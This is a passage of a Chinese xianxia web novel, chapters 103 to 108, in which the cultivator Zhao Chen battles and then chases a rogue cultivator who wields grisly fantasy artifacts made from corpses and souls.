黑烟还没有靠近赵尘,便被赵尘的护体清光给挡住。赵尘脸色一沉,自己虽没有被黑烟触碰到,但却可以从黑烟中感受到明显的痛苦、憎恨、仇怨、诅咒、冤屈的气息。赵尘立刻便猜到了这黑烟的制作方法。不知因为这九杆长幡,有多少人落的一个魂飞魄散的下场。 就在中年修士的九位弟子摇晃长幡时,周嗣立于马车之上,双手托举起赵尘先前交给自己的云斗。 因为赵尘事先已经往云斗中注入了一道法力和大量的先天灵气。当周嗣将云斗托举过头顶后,整个云斗发出莹莹宝光。在莹莹宝光之中,丝丝缕缕的素白色云烟凭空浮现,云烟互相纠缠在一起,化作一道道璎珞、帷幕垂下,将周嗣连同马车一起护住。 从中年修士摇头叹息到此时,甚至不到一个呼吸,看着方才童子于车上立起,托举起一个小巧的,好像玉如意一般的东西,将自己连同马车一起护住,中年修士接着开口道:“道友这宝物看着倒是不凡,不知可否舍得于我。” “像我等这样的散修,身无长物,穷困潦倒,自然只能动些歪脑筋。道友既有慈悲之心,不若将自己的肉身连同神魂也舍给我。让我有材料可以炼制一件厉害法器,使我这仙途更顺畅几分。到时,我必不忘道友的大恩。”便是此时,中年修士的神态语气一如之前一样诚恳。 就在中年修士和赵尘说话之时,九杆长幡发出的黑烟彼此勾连在一起,形成一个阵势。 周嗣只觉眼前一花,周围景色骤然一变,原本马车停靠的地方,是一片较为空旷的原野,身后是来时的小树林,周围尽是植物萌发的景象。可如今,周嗣只见自己处于一片广阔无垠的平原之上,大地之上,尽是泥泞的乌黑土地。丝丝缕缕的黑气从土地中升起。周围一片阴寒,天空中也是灰蒙蒙的,不时有乌云翻动,好似一方冥土。 赵尘眼底,似有非常寡淡的青光流转。周嗣所见的景色,在赵尘眼中,只是一幅非常浅淡的透明虚影,和原先的景色重叠在一起。 这一幅冥土一般的凶地恶徒土,却不是简单的幻术。因为看破的关系,这对赵尘的影响几乎没有。但于中年修士而言,这对于其在地利上的加持,却是实实在在,真实不虚的。 在和中年修士说话间,赵尘似慢实快的向前走了几步,在离中年修士十数丈远的地方站定。看见这片由阵法形成的半虚半实的法域,赵尘不由自主的将大多数的心意向周嗣方向投去。 中年修士的九位弟子在持着长幡,按照特定的轨迹移动时,一位离马车比较进近的弟子,拎起兵刃对着马车和周嗣方向就是一通劈砍砸削刺。但正如所有人所预料的一样,那层薄薄的,由白色烟雾构成的帷幕、璎珞表现出了非同一般的韧性,将其的攻击全部拦下。 对此,试了几击,见其毫无效用的弟子顺应着阵势,转身就走,毫不留恋。 当然,周嗣却是看不见着些,只是看见护住马车的烟幕好像被微风吹过一样,有一处隐约间好像微微颤了颤。 见此,赵尘这才暂时放下心来,只在周嗣处留了少许心意,将大部分的心意放在了中年修士身上。 中年修士只看见赵尘七窍大放光明,灵光透体数尺有余,和之前另一种周身灵光混合在一起。 先前,赵尘将大部分的心念、神意投放到马车处的时候,中年修士并没有趁机偷袭。因为一般情况下,这毫无意义,还容易落入别人的陷阱之中,失去先手。 第一百零三章 邪术 如今,中年修士看见赵尘这七窍大放光明的模样,知道先前,赵尘一副将大部分心神等投注在马车处的模样果然是一个陷阱,实则,只是将绝大多数心念、神意等收敛,处于心神内守的状态。 “恩”字还未落定,蜡黄脸的中年修士伸手往腰间一掏,掏出一把红豆大小的暗红色小珠,朝着赵尘撒了过来。这到不是偷袭,中年修士也没指望能打赵尘一个措手不及。 这些暗红色的小珠飞在半空,见风就长,一个个变的足有脑袋大小。随后这些脑袋大小的暗红色圆球从内部撕裂开来,一个个满身筋肉的好像小猴子样的东西从里面窜了出来,出来之后,也迅速膨胀,变作半人高下,浑身鲜血淋漓的朝赵尘扑去。 看着这一个个三尺来高,满身血肉,似人似猴,凶厉异常的怪物,赵尘不禁皱了皱眉。 “撒豆成兵?这是什么,血尸?”抚摸平心中的不适,压下脑中闪动的念头,赵尘轻轻的一摆脑袋,一片朦胧星光从头顶洒落,和护体清光熔炼在一起。 这些鲜血淋漓的像被剥了皮的猴子一样的怪物是蜡黄脸的汉子用秘法制作成的一种一次性道具。这虽是一种邪术,却也能归类到撒豆成兵一类之中。 首先要选用那些刚出生还不到三天的小猴,以秘药喂养。待其成年之后,将皮剥下,并将魂魄封在肉身中,再用另一种秘药涂抹猴子全身,并用自己的鲜血绘制符文。一切完成后,再在猴子身上刷上一层特质的药泥,将先前剥下的猴皮烧成灰抹在药泥表面,最后将猴子塞进一个坛子里面,将坛子封好,整个过程要保证猴子不能死。之后再用秘法祭炼这个坛子,使坛子越来越小,要整整祭炼四十九天,到最后这坛子只有黄豆大小。 将黄豆大小的“坛子”敲碎,便可以得到这种红豆大小的暗红色珠子,整个过程血腥而残忍。 这种暗红色珠子要用的时候,只要用法力激活之后丢出去便可以了。随后暗红色的小珠子会膨胀、炸裂,从中钻出这种浑身鲜血淋漓的像被剥了皮的猴子一样的怪物,随后便可以用心念指挥了。 这种怪物以爪子和牙齿攻击别人,无论是肉体和灵魂,它都可以触碰到,也都可以攻击到,凡是被其抓伤或咬伤的人,都会身临其境的百倍、千倍、万倍的感受到它所遭受到的痛苦。并且它的鲜血也是有一定毒性的,每一滴血都可以毒杀一位先天武者。 但是这种怪物被唤醒之后,哪怕没有遭受到攻击,也只可以存活十二个时辰。十二个时辰之后,便会化作一滩剧毒的脓血。将一滴这样的脓血滴入大水缸中,这一缸的水,每一滴都可以毒死一个健壮的普通人。并且,将这些脓血倒入生肌的药泥中,便是那用来刷猴子的特质药泥。 便是没有被唤醒,待这些猴子天寿尽后,也会化作一滩剧毒血泥,魂归冥土。不会犯下私自扣押魂魄的阴司重罪。 这数十只血淋淋的怪物或走、或奔、或跃的从四面八方朝赵尘包围过来。在这方凶地恶土的加持下,更加凶厉了几分。 赵尘袖中,一道盘旋多时的五色毫光猛然划过长空,其既没有斩向那些怪物,也没有斩杀向蜡黄脸的中年修士,而是向离自己最近的一杆长幡划去。 五色毫光沿着长幡一个盘旋,赵尘心中暗自叹息了一声,将五色毫光招了回来。同时微微颤了颤肩膀,一片好似星空一样,披在赵尘身上的朦胧星光将最先扑来的几只怪物扫飞。 同时,赵尘身上的道袍好像有一丝光华流转而过,一股吉祥、无量、慈悲、济世、度人的道韵在道袍上流转,随即流入赵尘的护体清光之中。被扫飞的怪物又被这充满着这般道韵的星光一扫,被微微超度一下,送入冥土。只剩一团污血,被星光绞成一片剧毒血雾,向中年修士方向罩去。 抬手间将五色毫光引向身前那一只只怪物处,将其绞碎,同时将魂魄摄来,用星光洗炼一番,送入冥土。 直到这时,先前那位手中长幡被赵尘用飞剑绕过的弟子忽然一声闷哼,身上忽然迸开一道硕大的创口,鲜血像瀑布一样流了一地,那位弟子在身上连按数下,才暂时将血止住。赵尘在先前就发现,如今这九人以一种十分巧妙的方式将自身和手中长幡连在了一起。若是有时间细细打磨,赵尘自然可以将这种联系用飞剑切开。 但现在这种情况,赵情急之下,尘要向破坏长幡,只能先将九位持幡的弟子斩杀。但如今还不是必须要做这种选择的时候,赵尘自然在心中叹息了一句,便放弃了破坏长幡的打算。 看着向自己奔涌来的剧毒血雾,中年修士神色淡然,随手掐了一个指决,那方由阵法构成的,凶地恶土般的法域随之起了一阵风,只是将迎面涌来的血雾吹散,而不是反向赵尘卷去。 随手散去血雾之后,中年修士看都没看受伤的弟子,而是看着将要将怪物斩杀殆尽的赵尘:“没想到道友还有一手这么不错的飞剑之术啊!” 赵尘没有回答中年修士的话,而是扫视了一眼四周:“道友知道这些小把戏没用,为什么还费这样的心思呢?”| 说话间,赵尘将缠绕在自己指尖的五色毫光化作一轮明月,伸手托起。清潋似水的月华遍洒虚空,但落在空中那淡淡的,极其稀薄血雾之上后,立刻化作凌厉而又绵绵不绝的剑气,将这些隐蔽的血雾绞成虚无。 听见赵尘的话,中年修士将刚刚从腰中摸出的一把红色小颗粒重新放了回去:“面对道友这般人物,我却依旧心存侥幸,这确是我的不该。” 中年修士的语气诚恳,态度一如往昔。 赵尘感觉着和之前相比,运转起来稍微有些生涩的飞剑,虽然这差距微小到,相对于赵尘而言,几乎微不可查。 “没想到这血雾还可以污秽法器”赵尘心中念头一转,立刻猜到了是怎么回事。 第一百零四章 阵势 虽然察觉到了飞剑被污秽的情况,赵尘依旧不为所动,继续不断向上托举明月,在清潋似水的“月光”照耀下,不但是那些残余的血雾被消磨一空,便是这片法域,都被暂时晃动。 在周嗣看来,随着赵尘单手托起一轮明月,整片天地好像都微微晃了晃。随之,在刹那间,这方好似冥土的凶地恶土便如朝露般曦去,变回来之前荒林原野。 同时,赵尘趁机自袖中甩出几道灵光,和九人手中的长幡纠缠在一起,使阵法无法恢复。这几道灵光便是赵尘的那一套长幡法器。实际上并不用这么麻烦,赵尘可以直接将自己的这套法器插入中年修士的阵法之中,将阵法卡主,使法域崩溃,只是这样对九人的伤害最小。 说话间,看着突然崩溃的法域,蜡黄脸的中年修士正从怀中掏出一个巴掌大的小木盒的手顿了顿,随后顺手,拨开木盒对着赵尘用力一吹,便见一阵飞沙走石朝赵尘涌了过来。另一只手一翻,摸出一只铃铛,灌入法力,有节奏的摇晃起来。 在法力的灌注下,中年修士铃铛发出的声音却和普通的铃铛声大不一样,在和风沙声混合在一起后,更有一种鬼哭神嚎之感。 两者配合,黑风阵阵,鬼哭神嚎间,绵绵不绝的飞沙走石,直吹的人睁不开眼睛,且这鬼哭神嚎之声,也有玄妙,能晃到魂魄,摄人心神。 看着向自己涌来的黑风和飞沙,赵尘不慌不忙间一甩衣袖,护体清光流转,大量的星辉在赵尘衣袖上凝聚。赵尘衣袖翻飞间,将黑烟沙石卷入袖中,并且衣袖振动的声音和那鬼哭神嚎声互相抵消。 在赵尘甩衣袖的这个动作之中,赵尘已经悄然将铜灯法器取出,随后形质变幻,将之化作一团灵光,融入衣袖处的护体清光之中。这也是赵尘的衣袖声可以抵消中年修士的铃铛法器的攻击的原因。不但如此,中年修士若是仔细观察赵尘衣袖上的光辉流转,怕是反而会被赵尘晃动心神。 赵尘一只手翻卷飞沙,另一只托举明月的手一翻,将飞剑收回袖中,顺手从袖中取出一只玉盒,伸手拨开,自下往上一接,被赵尘卷落的飞沙随即全部落入玉盒之中。合上盒子,贴上符纸,塞回袖中,整个动作赵尘一气呵成。 这套飞沙,是蜡黄脸的中年修士为数不多的趁手法器之一。其被赵尘收去,中年修士心中却是一点波动都没有。自和赵尘动手,中年修士已经知道这次怕是没法善了了。所以,若是胜了,这一切都可以回来,可若是败了,生死都不能自主,又何惜这一件法器。 虽然这飞沙和法铃组合的法术转瞬就被赵尘破去,甚至还被赵尘收去了一件法器,但也为中年修士争取到了一点时间。 刚将玉盒放入袖中,赵尘便看见中年修士已然放出了二十七具僵尸,甚至已经排好了阵势,向赵尘冲来。赵尘并没有被这些僵尸吸引去注意力,而是发现其和九杆长幡以及九位持杆的弟子之间的气机联系。 见此,赵尘顾不得许多,放出飞剑,强行斩断了就九名弟子和长幡间的联系。九位弟子的气息骤然萎靡,口吐鲜血,直接昏死过去。便是等会救了回来,怕是都要折寿二三十年。并且,若得不到高明的医师的诊寻,好好调养,怕是一生都要体弱多病。 当然了,这幸好不是之前,从之前到现在,总算也是给了赵尘考虑的时间,若是之前赵尘便这样处理,粗暴的将九人和长幡间的气息斩断。那九人就不是现在这样后遗症严重的元气大伤了,怕直接就是九死一生,便是活下来,那也比现在要惨。 赵尘这样急切粗暴也是没有办法,若是动作再慢点。这九人直接就会尸化,变成僵尸了。可见这蜡黄脸的中年汉子可以说早有准备。 虽然赵尘早已知道,这九位弟子,对于中年修士而言,更近乎仆从。但若不是亲眼所见,赵尘实在不敢相信,这蜡黄脸的汉子会早就居心叵测的要将这九个徒弟炼成僵尸。 赵尘瞥了一眼几乎近在咫尺的僵尸之后,看向蜡黄脸的中年汉子:“这二十七位不会也是道友的弟子?” 蜡黄脸的中年汉子手中动作不停,双眼全神贯注的盯着赵尘,表面上却是面色沉稳的微微点头道:“这是自然,包括这九位弟子在内,这三十六位弟子,是我花费了将近四十年的功夫,精心培养出来的。” “这样的弟子,每九人一组,我准备这样培养出六组五十四位弟子,到时候,组成尸阵,便是遇到真君,那也是可以斗上一斗的了。” 说道这里,蜡黄脸的中年修士看了昏死在地上的九名弟子:“只可惜,我这九位弟子,便是救回来,也是废了。” “当然了,便是道友不救他们,我这样急急忙忙的使用,此战过去,也是废了,我这十年苦工,眼看又是收获的时节了,可如今却白白浪费了。” “道友这般敏锐,四九之数不成,三九之数也是可以的嘛,还请道友好好品鉴一番。” 说话间,在九杆长幡的加持下,二十七具僵尸更是尸气冲天,同时得到这二十七具僵尸的助力,九杆长幡挣脱了赵尘长幡法器的束缚,重新组成了阵势,之前的法域也重新浮现,甚至更加真实和凶恶了许多。 二十七具僵尸的怨气、煞气、死气、尸气相互勾连,组成一个整体, 尸群周围上百丈方圆的土地内,生机被快速侵蚀、掠夺。周围的草木以肉眼可见的速度迅速由青转黄,再由黄转黑,逐渐干枯腐朽,最后化成一堆黑灰落入大地中。便是大地也被快速污染,若是无人干涉的话,这周围一片,十几年内怕是要寸草不生了。这单是其透过法域,对现实产生的影响。 按理说,因为法域更加真实,只要中年修士不主动用法域侵染现实,法域对现实的隔离应该更加强大才对,可单看其对现实的侵染,就知道尸群的凶悍程度。 第一百零五章 雷蛟和雷蟒 面对眼前这般情形,赵尘连忙朝马车处看了一眼,同时一甩一袖,依附在衣袖上的星光被迅速拉长成一根长鞭子,将昏倒在地上的九人卷起,甩出法域。就是这一瞬间的工夫,九人在尸气的侵染下,生命气息已然宛如风中残烛,甚至隐隐有了尸变的征兆。赵尘不得不在将九人甩出法域的过程中治疗一番。 “道友果然有慈悲之心啊!”看着赵尘一连串的动作,中年修士称赞道。 “只是一些力所能及的小事罢了,甚至连拔一毫而利天下都算不上,毕竟仙道贵生。” 说话间,那二十七具气机近乎一体的僵尸已经朝赵尘包围过来。五色毫光在赵尘和二十七具僵尸之间闪烁,预料之中的,初练不久的飞剑之术并没有多少建树,浅尝辄止的赵尘将飞剑收回袖中,同时悄然将融入护体清光中的心灯抽出,塞回袖中。 中年修士看了眼尸体群身上一共数十道各类痕迹。其中最多有两类,一是米粒尖大小的点,一是一存来长,发丝粗细的划痕。剩下的痕迹也有一些,但每种都只有一两处,最深的一处创口也不足一寸。对活人来说,若是落在要害处也算有些功效,但于僵尸而言…… 见赵尘将飞剑收回,中年修士道:“道友见我这尸阵如何,若是有五十四具炼尸,组成坤极乾元大阵,便是真君,都可以斗上一斗。” “道友在阵法上倒是颇有天赋,这是可惜……”赵尘并没有回答中年修士的话,而是称赞了其在阵法上的天赋,虽然只交手数招,但中年修士也然展现了不俗的阵法上的手段,若是再和中年修士其它方面的表现对比,其在阵法上面的造诣,已然不是不俗可以形容的。愈是如此,赵尘愈是觉得惋惜。 对于中年修士说的,到时候积攒六九之数的尸群,组成大阵之类的话,赵尘却并没有在意。 单这二十七具僵尸组成的尸阵便有这便气候了,若是五十四具僵尸组成的尸阵,一旦使用,这气象自会更加惊人了,到时候,稍不注意便会将周围的神灵惊动,弄不好,怕是城隍都会派兵围剿。所以,便是真的让这蜡黄脸的中年汉子攒下五十四具僵尸,炼成尸阵,那也只能作为一张压箱底的底牌,轻易动用不得。 惋惜过中年修士之后,赵尘又将心思转了回来。对于此时飞剑效用不大这件事,赵尘已然早有准备。当初在准备法器之时,除了飞剑这件轻兵刃,还炼制了一件重兵器。 赵尘一边回应着中年修士,一边从袖中取出一件铁尺样子的器物。 数年前,赵尘在玄水上将量山尺炼制出来之后,这些年来,赵尘每经过一座山,便收集一缕气息,用磨盘复制无数份,将之精炼之后,用以洗炼量山尺。如此下来,这柄量山尺也愈发玄妙。 见赵尘又取出一件尺状法器,灵光虽然不刺目,却也十分显眼,给人一种明显的沉重之感。 “道友身上宝物都这样不凡,不知这件又有何妙用?” “此物名为量山尺,算是一种,嗯,比较常见的法器。”说话间,赵尘并没有如寻常法器般使用量山尺,而是真的如同武者运使兵器一般,将之持在手中,和尸群近身厮杀起来。便是僵尸,被赵尘手持量山尺轻轻一点,都会骨断筋折。也就是因为阵法的串联,让这二十七者宛如一体,在法域的加持下,通过分摊伤害,快速回复的方法,勉强维持了一个势均力敌。 “不想道友还有这样一番不俗的武艺。”看着赵尘这一番点、砸、崩、敲、削,中年修士一边运转着法阵,一边说到道。 但便是在和赵尘说话中,中年修士依然仔细注意着赵尘和其手中的尺子,防止其突然运起法器,对着自己来一下狠的。 一番冲杀之后,赵尘看着被自己打退的,一个个断胳膊折腿,身上满是凹痕的僵尸,又看了眼环境依旧凶恶的法域,赵尘轻叹了一口气,随手将手中的尺子抛出,如寻常法器一样运使,继续和尸群缠斗,同时手臂下垂,一条锁链从袖中滑落,被赵尘捏在手中。 这锁链长近一丈,由九根更细小的锁链绞成,每根锁链上的每一环都只有米粒大小,上面雕刻着各种和雷电有关的符纹符印。着赵尘的法力灌入,整条锁链都显得电光赫赫。 赵尘将其当做软鞭使用,挥舞在空中的锁链由一丈拉长至数丈。赵尘一甩手腕,电光赫赫的鞭子前段骤然散成九股,带着诛邪破秽的韵味向九具僵尸刺去。 见赵尘忽然取出一件雷属性的法器,中年修士也连忙翻手取出一根将近一尺长的骨针,随手掷出。 骨针并没有和赵尘的锁链接触,而是化作一道流光朝赵尘射去。 这骨针还未靠近赵尘,正经过雷鞭时,忽然在空中一滚,化作一条十丈长的雷蛟,随手向旁边捞了一把,企图将赵尘的雷鞭抓入手中。同时,突然出现在赵尘身前的蛟首也欲将赵尘一口吞下。 见状,赵尘将手中握着锁链往雷蛟身上一抛,同时向后退去,并将不远处的量山尺召回。 在雷蛟即将抓住锁链时,锁链忽然变成一条九首雷蟒。雷蟒尾巴搭载雷蛟身上,试图将雷蛟向头部拉去,同时三个脑袋转过头来,参与围剿雷蛟的行动,另外六个脑袋继续向前方的僵尸探去。 赵尘召回量山尺,朝着雷蛟的首级当头砸下,将雷蛟砸的一个踉跄,往后退了好几丈。同时取出飞剑,伸手一甩,将之变成一条五彩绳索,当做缰绳朝雷蛟的脑袋套取去。 见拿不下赵尘之后,雷蛟回首和雷蟒、绳索做起了斗争。因为骨针的材质和祭炼、温养的时间远优于锁链,即便锁链炼制的手法胜于骨针,雷蛟随手几下便将雷蟒的一个脑袋撕了下来,撤的粉碎。 第一百零六章 护体清光和法器 看着漫天飞舞的环扣,赵尘心中一动,已经将六具僵尸化作焦炭,正在追逐其余僵尸的蟒首纷纷转过头来,参与对雷蛟的围剿。两只十余丈长的巨兽就这样贴身肉搏起来。雷蛟四肢应付着八只蟒首,蛟首主要和那五色缰绳做着斗争,不时还要硬挨上一记重尺。 周围剩下的二十一具还没有报废的僵尸,经过雷蟒临时腾出手来,不时抽冷子来上一下,虽没有报废,但暂时已经不可用了。对此,中年修士并没有精力去管。其正一面防着赵尘偷袭,一面双手翻飞,调整着阵法。 随着中年修士的调整,整片法域的环境也在慢慢发生着转变,由好像冥土一样的恶地凶土,向着阴和雷的属性转变。一团团阴雷在法域中炸开,和相对来说更偏向阳属性的雷蛟相呼应。随着法域对雷蛟的加持愈发增大,雷蛟也在和雷蟒等的搏斗中,逐渐从勉力支撑到游刃有余,甚至能有余力将战场向赵尘处转移,并不时出手攻击一下赵尘。 只是这种加持不是正道,在赵尘眼中,雷蛟虽然凶性越发高炙,但身上的灵光却以近乎肉眼可见的速度暗淡,只要这样连续坚持几个时辰,这件法器怕是直接会被废掉。 看见眼前这情景,赵尘不由在心中叹息了一句:“我果然是不适合战斗的啊。”随即在心中盘算起了自己的家底,除了从洞天秘境中得到的那一堆法器宝等,还有蕴含第四阶,也就是炼虚合道级,或者天师级一击之力的雷丸,还有那把被重重封印的白玉匕首,李谊送给自己的那盒奇异法器灵蛛丝等。 除了这些之外,自己备下的常用法器,威力比较大的,只有飞沙和那件重宝了。 想了想,赵尘还是没有将那件准法宝拿出,也没有取出法宝或者雷丸。而是将飞沙取了出来,化作灵光,融入手中,宛若星空的护体清光之中。护体清光、星冠洒落的星辉,飞沙,三者熔炼在一起,使赵尘手中那团星光愈发璀璨。 随后,赵尘又将布阵的长幡化作灵光融入其中。数件法器融入护体清光之中,给护体清光带来了沉重的负担,赵尘只觉得自己就好像普通人身上披了一件数十斤的甲胄一般,便是周身法力运转,都显得有一丝晦涩。尤其是手部,尤其的沉重。 赵尘心中估算了一下,如今身上的护体清光之中,还可以承受两件法器的融入但手上,暂时却是无能为力了现在连一件法器大概都承受不住了。想到这里,赵尘运转法术,伸手朝前一抓。星光大手自赵尘身上披着的星空中延伸而出,一把将整个法域撕开,接着继续向前,朝雷蛟捏去。 见此,中年修士好不珍惜的将雷蛟的凶性催发到最大,试图在这之前强先将雷蟒毁掉。星光大手直接将雷蛟和雷蟒捏在手中,微微用力一捏,雷蛟和雷蟒都化作电光散去。锁链化作环扣四散开来,最后关头,中年修士还是达成了自己的目的。骨针虽没有折断、毁去,但也灵性大伤。 灵光暗淡的骨针没入星光大手之中,沿着星光,直接滑入赵尘手中,被赵尘用玉盒封好收起。单是这两击之力,赵尘的法力便耗去了一成。比从见到中年修士之前,往云斗中注入法力开始,到刚刚探出星光大手前,整个过程消耗的法力还要多。 见赵尘又取出一件法器,出手将法域撕毁。中年修士还没来得及感叹赵尘法器多,便立刻做出了应对,除了下定决心,想要用自己的骨针和赵尘的锁链法器同归于尽外,一直情绪稳定的中年修士终于无可奈何的叹了口气。 伴随着叹息声,中年修士翻出了一对灯笼,提在手中。 这是一对以人为材,以皮为纸,以骨为篾,燃魂为火的灯笼。这对灯笼法器,分为阴阳一对,阴灯选用阳年阳月阳日阳时的童女,而阳灯则是阴年阴月阴日阴时出生的童男。 使用这对灯笼法器,不但需要法力。还需要灯油。若不使用,一只灯笼三十年才需要一份灯油,用以维护。而使用的话,一份灯油只够一只灯笼用一个时辰的。而这灯笼法器,一使用就是一对,消耗的灯油也自然是两份。 而且,这法器使用的灯油也不寻常,阴灯要选用一位阴年阴月阴日阴时出生的童女,在从胎儿中带出的先天气未散尽之时,便服用特定的饵食,修行特定的功法,待其养气圆满,将入金丹之时,以特殊手法,将之连身带魂,炼制成一份灯油。阳灯则是选四阳时出生的男子,也是一套相似的方法。 这对灯笼法器,却不是中年修士自己炼制的,而是其从师父处“继承”到的,中年修士便是四阳时出生的,既是“灯油弟子”出身。当年,一连串的机缘巧合之下,中年修士“继承”了自己师父的衣钵,随后还分了些财货给同门的师兄师弟,师姐师妹,将他们全部遣散了。 自此之后,中年修士并没有收什么“灯油弟子”。而自己师父留下的阴阳各十几份的灯油,中年修士也没有放弃,也借此度过了数次危机。 看着手中的灯笼,两百多年前的往事从中年修士脑海中划过,添上灯油之后,两盏灯笼都发出幽幽绿光,但也有些细微的差异,两者的灯光重叠在一起,周围环境骤然大变,这次不是好似冥土,而是实实在在的,便是将一小片冥土投影到了阳世,在这阴阳重叠之处,愈发玄妙的波动在周围浮现。 星光大手在捏碎了雷蛟和雷蟒后继续向前推去,随后一把撞在灯笼光辉的界壁处,猛地向后退了数尺,单是这一击,便耗去了赵尘三成法力。随着灯笼光照范围的扩张,星光大手被推的不断倒退。见此,赵尘只能主动散去了星光大手。 随着赵尘所在之地被灯笼光扫过,赵尘首先感受到了冥土对活人的排斥和消磨。见此,中年修士提着灯笼的手微微晃了晃,投影而来的冥土和现实微微分离了一点,赵尘立刻感觉到了冥土对自己的拖拽之力。 第一百零七章 逃窜 赵尘一边承受着冥土的消磨与排斥之力,一边感受着这股好像要将自己拖入冥土,令自己永世沉沦的力量。赵尘知道,这并不是意境、幻术、错觉之类的,而是实实在在,真实不虚的。因为就在这冥土投影和阳世微微分离一丝的一瞬间,这片土地上,经过之前种种摧残,勉强活下来的无事微小生灵,都在这一瞬间失去了生机,有的甚至被真身拖入冥土。 直到这时,赵尘才判断出这对法器的材质,也大致猜出了这对法器的炼制手法,不禁呵斥道:“先不说私扣生魂乃阴司重罪,以生魂为耗材更是罪在不赦。汝这般做为,可有一点慈悲之念。” 说罢,不待中年修士回答,看见即将蔓延到马车和被赵尘扔远的九人等处,赵尘连忙将除云斗以外的其它法器收回,翻掌将那件准法宝取出,形质变幻之后,融入护体清光之中。顿时,赵尘周身大放光明,一片清冷的净土以赵尘为中心,从虚空中浮现,将冥土投影驱散开来。 看见眼前,虚幻的景象将真实的景致驱散。中年修士知道,赵尘这时又拿出了一件了不得的东西。自己这对法器还有许多妙用没有展示,就先手失利了。 感受着虚影中偏向阴性的韵味,中年修士说道:“道友这件法器和我手中灯笼,从天地的角度来看,又有多少差距?” 说罢,中年修士手中提着的灯笼一阵朦胧,化作两团玄光,被中年修士一手一个,捏在手中。双手指印翻飞,一道道阴火、阴雷、阴风被中年修士丢出。同时,被净土驱散的冥土又重新浮现,只是没有像之前一样,试图无休止的扩张,只是尽力向赵尘处蔓延而去。 同时,随着赵尘心念一动,净土之中,一朵朵斗大青莲浮现,随后由虚转实,出现在现实中。看着漂浮在空中,一朵朵美轮美奂的,好像由翡翠雕琢而成的青莲,中年修士心中陡然一紧,灯笼的光辉立刻落在上面,试图将之拖入冥土。 灯笼光刚落在青莲上,整片光辉都骤然燃烧起来,中年修士连忙尝试扑灭驱散,都没有成功。看着这碧沉沉的火焰甚至试图沿着灯笼的光辉向自己这里蔓延,而落在青莲上的光辉,又好像被钉在原地一样。动弹不得,无法变幻。 中年修士只能将冥土投影主动向冥土沉去,将那碧沉沉的火海向冥土引去。 在阴世下土深处的某处,突然间,大片的幽冥之火好像从天浇落一样,突然从虚空浮现,汹涌澎湃的向四周扩散而去。也幸好,阴世下土层层叠叠,无穷无尽,每一层的冥土也浩瀚无垠,这里十分偏僻,一个生灵也没有。便是之前被拖入冥土的那些细微生命,其灵性灵魂等再坠入冥土的过程中,也不知被哪一层、哪一处的冥土接引走了。 这幽冥火海一直烧了许久都未被发现,一直到火势连绵不绝,甚至向上往上层冥土攀沿,向下往下层冥土渗落之时,才被发现、收走。当然这和赵尘两人却没什么关系了。 中年修士将赵尘放出的阴火导入冥土之后,又重新将冥土投影上来,通过这种方法,中年修士甚至借用到了赵尘放出的阴火的威能。看着冥土投影之中,绵延不尽,不断跳跃的,碧绿火焰虚影,赵尘一时心中有些莫名。随即,赵尘又将星冠撒落的星辉融入净土中的星辰虚影之中,打的中年修士左支右绌。 最后,中年修士将左右两团玄光往中间一撞,搓成一团,顿时,一股幽冥轮转,阴阳生死的道韵扩散开来。随后将玄光拉成一条,朝赵尘掷去。 将灯笼当长矛用,可见中年修士已经技穷。但这一招确实气势宏大,威力非凡。玄光长矛划过虚空,似慢实快的一点点的向赵尘刺去,被气机锁住的赵尘避无可避。玄光长矛从空中划过,直接将沿途的空间粉碎,将地表拉出一条长十数丈,宽数尺的痕迹,在这一条痕迹之中,死意弥漫,连地气都被杀死。更不要说其它东西了,这条痕迹中的土地,此时变的比冥土还要贫瘠。 看着朝自己刺来的长矛,赵尘心思电转,最后决定还是没有耗费法力,催动准法宝硬抗。赵尘翻掌间弹出一枚雷珠,将之化作一支雷电长矛,护体清光化手,将之握在手中,尖对尖的朝灵光长矛刺去。如今的赵尘。对于庶务长老的一击之力,已经勉强可以做些操纵了。 一阵大音希声之后,赵尘护体清光所化的手中,雷霆长矛已然散去。而中年修士的那对灯笼法器,也被彻底摧毁。 在中年修士将灯笼法器作为长矛掷出去之后,并没有查看结果,而是毫不停歇的的变幻指印,将九杆长幡化作九道黑烟灵光,再拼成一只凶恶异兽,指挥其向赵尘扑去。,同时驾起遁光向远处逃去。 破碎灯笼法器之后,看着已经冲到眼前的异兽,最外层是大团的黑雾,中间则是一只散发着红色烟雾的兽影。最外层的黑色烟雾,其更接近于怨气、煞气等。而中间的红色烟雾,则有些像血气,专门应付一些阳属性的法术。而最内部则是由长幡玄光组成的异兽虚影。虽是虚影,其它不说,单是裂金碎石的力量,还是有的。 赵尘见状,没有使用法术试探,而是在心思转动间,取出一枚蜡丸,捏碎之后朝着异兽丢去。 蜡丸展开,化作一张网兜,将其罩住。只见被罩住的兽影好像烟雾一样四散开来,想要在外面聚合起来。蜡丸却是直接虚化,将试图飘散的烟雾全部拦住,最后将之卷成一团西瓜大小的烟雾团子。而后烟雾玄光重现变成九杆长幡,而灵蛛丝也紧紧缠在长幡上。 待赵尘将长幡处理好,只这不到一个呼吸的功夫,中年修士已经跑的没影了,便是路上的气息都已经被其驱散掉了。 第一百零八章 遁光 中年修士虽然驱散了路上的气息,但赵尘收了他好几件法器,对于中年修士的气息,赵尘是一点也不缺的,随即赵尘取出早已炼制好的寻人罗盘,抽出一道中年修士的气息。赵尘按照手中青玉罗盘的指示,驾起遁光,向着中年修士的方向追去。 只见两道流光一前一后,不断在山林中穿梭。前一道流光呈青黑色,色泽浑浊暗淡。而后一道流光呈淡青色,色泽明亮、清澈。两道流光在山林中一追一逃,都是以树木、土地、石头甚至水面等作为借力点。在一个借力点上跃起,以直线或弧线等在空中滑过一里左右的距离,落到另一个借力点上,同时毫不停歇的再次跃起。两道流光如此回环反复的不停的在山林中穿梭。 不到一炷香的功夫,两者便这样一追一逃飞出了上百里。 正如早年间首座师叔说的,一位真人级修士驾驭遁光,若是拼命的话,下乘法门,每个遁光控制在一里出头,十个呼吸驾一次遁光,一天能赶路一千五百里。上乘法门,一天能赶上万里。 如今这一炷香上百里,绝对是上乘的遁光法门,而且中年修士也是在不计损耗的拼命。 这一追,赵尘惊奇的发现,中年修士虽然自称散修,而且还修炼邪法,但手中法器却是不少,长幡、血尸豆兵、飞沙、僵尸、骨针、灯笼等,还有眼下这一手遁光,也是不俗,虽没有阵法给自己的惊艳之感。 赵尘不断以遁光追赶着中年修士,随之自己和中年修士之间的距离不断拉近。不久之后,驾着遁光的中年修士,从后方极远之处,遥遥看见一道清澈、明亮的淡青色的流光飞速向自己方向追来。 